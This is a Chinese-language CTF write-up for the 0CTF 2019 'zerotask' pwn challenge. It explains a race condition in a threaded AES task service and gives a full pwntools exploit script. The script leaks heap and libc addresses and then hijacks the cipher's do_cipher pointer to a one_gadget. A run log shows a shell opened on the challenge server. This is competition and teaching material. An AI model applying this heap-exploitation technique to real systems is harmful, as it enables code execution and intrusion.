一道条件竞争的题目。
源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/zerotask 。
目录
安全防护
ex@Ex:~/test$ checksec task
[*] '/home/ex/test/task'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
漏洞分析
start_routine
void __fastcall __noreturn start_routine(struc_1 *arg)
{
int v1; // [rsp+14h] [rbp-2Ch]
struc_1 *v2; // [rsp+18h] [rbp-28h]
unsigned __int64 a3; // [rsp+20h] [rbp-20h]
__int64 v4; // [rsp+28h] [rbp-18h]
__int64 v5; // [rsp+30h] [rbp-10h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
v2 = arg;
v1 = 0;
v4 = 0LL;
v5 = 0LL;
a3 = 0LL;
puts("Prepare...");
sleep(2u);
memset(global_buf, 0, 0x1010uLL);
if ( !(unsigned int)EVP_CipherUpdate(v2->crypto, global_buf, &v1, v2->data_ptr, (unsigned int)v2->size) )
pthread_exit(0LL);
a3 += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(v2->crypto, (char *)global_buf + a3, &v1) )
pthread_exit(0LL);
a3 += v1;
puts("Ciphertext: ");
pirnt_data(stdout, (char *)global_buf, a3, 0x10uLL, 1uLL);
pthread_exit(0LL);
}
当线程start_routine
启动时,由于arg
指向的内存主线程也同时可以控制,这里就存在了对arg
内存块的条件竞争,而且线程当中有sleep(2u)
,则能保证竞争的时候总是主线程能竞争到内存块。
思路
- 泄露heap地址
- 泄露libc基地址
- onegadget
泄露heap地址
泄露heap地址时,主要目的是free了id_1
后,必须要恢复它的crypto
结构。最好的理解方式就是画图。
add(0, 1, key, iv, 0x18, '\0' * 0x18)
add(1, 1, key, iv, 0x78, '\0' * 0x78)
add(2, 1, key, iv, 0x78, '\0' * 0x78)
delete(0)
go(1)
delete(1)
delete(2)
add(3, 1, key, iv, 0x18, '\0' * 0x18)
add(4, 1, key, iv, 0x18, '\0' * 0x18)
sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x187)[:-1]
# print(data)
data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])
origin_data = aes_decrypt(key, iv, raw_data)
heap_addr = u64(origin_data[:8]) - 0x1280
log.success("heap_addr: " + hex(heap_addr))
泄露libc基地址
这次是直接控制了strcu_1
结构体,将data_ptr
指向了有libc
地址信息的chunk。
add(5, 1, key, iv, 0x418, '\0' * 0x418)
go(5)
delete(5)
delete(4)
layout = [
p64(heap_addr + 0x1ba0), # data_ptr id 8
p64(0x18), # size
p32(1), # type
key,
iv,
'\0' * 20,
p64(heap_addr + 0x1560), # crypto id 6
]
payload = flat(layout).ljust(0x78, '\0')
# set evp_cipher_ctx_st
add(6, 1, key, iv, 0x78, payload)
sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x61)[:-1]
print(data)
data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])
origin_data = aes_decrypt(key, iv, raw_data)
# your should calculate the value by yourself
libc_addr = u64(origin_data[:8]) - 0x3ebca0 # main_arena+96
log.success("libc_addr: " + hex(libc_addr))
onegadget
这里简要说一下libcrypto.so.1.0.0
的源码。
源码来自:https://github.com/guanzhi/GmSSL 。
在下面代码中,我们可以直接控制程序流。
crypto/evp/evp_enc.c
int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl,
const unsigned char *in, int inl)
{
int i, j, bl;
bl = ctx->cipher->block_size;
if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
/* If block size > 1 then the cipher will have to do this check */
if (bl == 1 && is_partially_overlapping(out, in, inl)) {
EVPerr(EVP_F_EVP_ENCRYPTUPDATE, EVP_R_PARTIALLY_OVERLAPPING);
return 0;
}
i = ctx->cipher->do_cipher(ctx, out, in, inl);
if (i < 0)
return 0;
else
*outl = i;
return 1;
}
所以对应脚本如下:
'''
ex@Ex:~/test$ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget_addr = libc_addr + 0x10a38c
log.success("one_gadget_addr: " + hex(one_gadget_addr))
go(6)
delete(6)
delete(3)
# hijack crypto
layout = [
p64(heap_addr + 0x1560), # crypto->cipher
'\0' * 10,
p64(0x10), # cipher->flag
'\0' * 6,
p64(one_gadget_addr), # cipher->do_cipher()
]
payload = flat(layout).ljust(0xa8, '\0')
add(7, 1, key, iv, 0xa8, payload)
0x10a38c
刚好满足约束条件,所以可以直接拿shell。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
from Crypto.Cipher import AES
# context.log_level = 'debug'
sh = process("./task")
# sh = remote('eonew.cn', 60107)
elf = ELF("./task")
libc = ELF("./libc-2.27.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass
key = 'a' * 32
iv = 'b' * 16
def add(id, task_type, key, iv, size, data):
sh.sendline('1')
sh.recvuntil('Task id : ')
sh.sendline(str(id))
sh.recvuntil('Encrypt(1) / Decrypt(2): ')
sh.sendline(str(task_type))
sh.recvuntil('Key : ')
sh.send(key)
sh.recvuntil('IV : ')
sh.send(iv)
sh.recvuntil('Data Size : ')
sh.sendline(str(size))
sh.recvuntil('Data : ')
sh.send(data)
sh.recvuntil('Choice: ')
def delete(id):
sh.sendline('2')
sh.recvuntil('Task id : ')
sh.sendline(str(id))
sh.recvuntil('Choice: ')
def go(id):
sh.sendline('3')
sh.recvuntil('Task id : ')
sh.sendline(str(id))
sh.recvuntil('Choice: ')
def aes_decrypt(key, iv, data):
aes_instance = AES.new(key, AES.MODE_CBC, iv)
plain_text = aes_instance.decrypt(data)
return plain_text
sh.recvuntil('Choice: ')
add(0, 1, key, iv, 0x18, '\0' * 0x18)
add(1, 1, key, iv, 0x78, '\0' * 0x78)
add(2, 1, key, iv, 0x78, '\0' * 0x78)
delete(0)
go(1)
delete(1)
delete(2)
add(3, 1, key, iv, 0x18, '\0' * 0x18)
add(4, 1, key, iv, 0x18, '\0' * 0x18)
sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x187)[:-1]
# print(data)
data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])
origin_data = aes_decrypt(key, iv, raw_data)
heap_addr = u64(origin_data[:8]) - 0x1280
log.success("heap_addr: " + hex(heap_addr))
# leak libc_base
add(5, 1, key, iv, 0x418, '\0' * 0x418)
go(5)
delete(5)
delete(4)
layout = [
p64(heap_addr + 0x1ba0), # data_ptr id 8
p64(0x18), # size
p32(1), # type
key,
iv,
'\0' * 20,
p64(heap_addr + 0x1560), # crypto id 6
]
payload = flat(layout).ljust(0x78, '\0')
# set evp_cipher_ctx_st
add(6, 1, key, iv, 0x78, payload)
sh.recvuntil('Ciphertext: \n')
data = sh.recvn(0x61)[:-1]
print(data)
data_list = data.split()
raw_data = ''.join([chr(int(v, 16)) for v in data_list])
origin_data = aes_decrypt(key, iv, raw_data)
# your should calculate the value by yourself
libc_addr = u64(origin_data[:8]) - 0x3ebca0 # main_arena+96
log.success("libc_addr: " + hex(libc_addr))
'''
ex@Ex:~/test$ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget_addr = libc_addr + 0x10a38c
log.success("one_gadget_addr: " + hex(one_gadget_addr))
go(6)
delete(6)
delete(3)
# hijack crypto
layout = [
p64(heap_addr + 0x1560), # crypto->cipher
'\0' * 10,
p64(0x10), # cipher->flag
'\0' * 6,
p64(one_gadget_addr), # cipher->do_cipher()
]
payload = flat(layout).ljust(0xa8, '\0')
add(7, 1, key, iv, 0xa8, payload)
time.sleep(2)
sh.interactive()
运行实例
ex@Ex:~/test$ ./exp.py
[+] Opening connection to eonew.cn on port 60107: Done
[*] '/home/ex/test/task'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] heap_addr: 0x55b2be0ae000
de 91 c5 32 98 b0 90 7c 33 cf 3f 6c 71 34 f3 f6
3e ef 6b 4f a7 f9 ab 66 02 a1 7e b3 57 3a 37 02
[+] libc_addr: 0x7ffb6bf41000
[+] one_gadget_addr: 0x7ffb6c04b38c
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$
总结
条件竞争的标志性表现应该就是sleep
函数了。
思路借鉴自:https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#zerotask 。
还有一种思路是溢出size为0x1010的global_buf
,然后用tcache来攻击。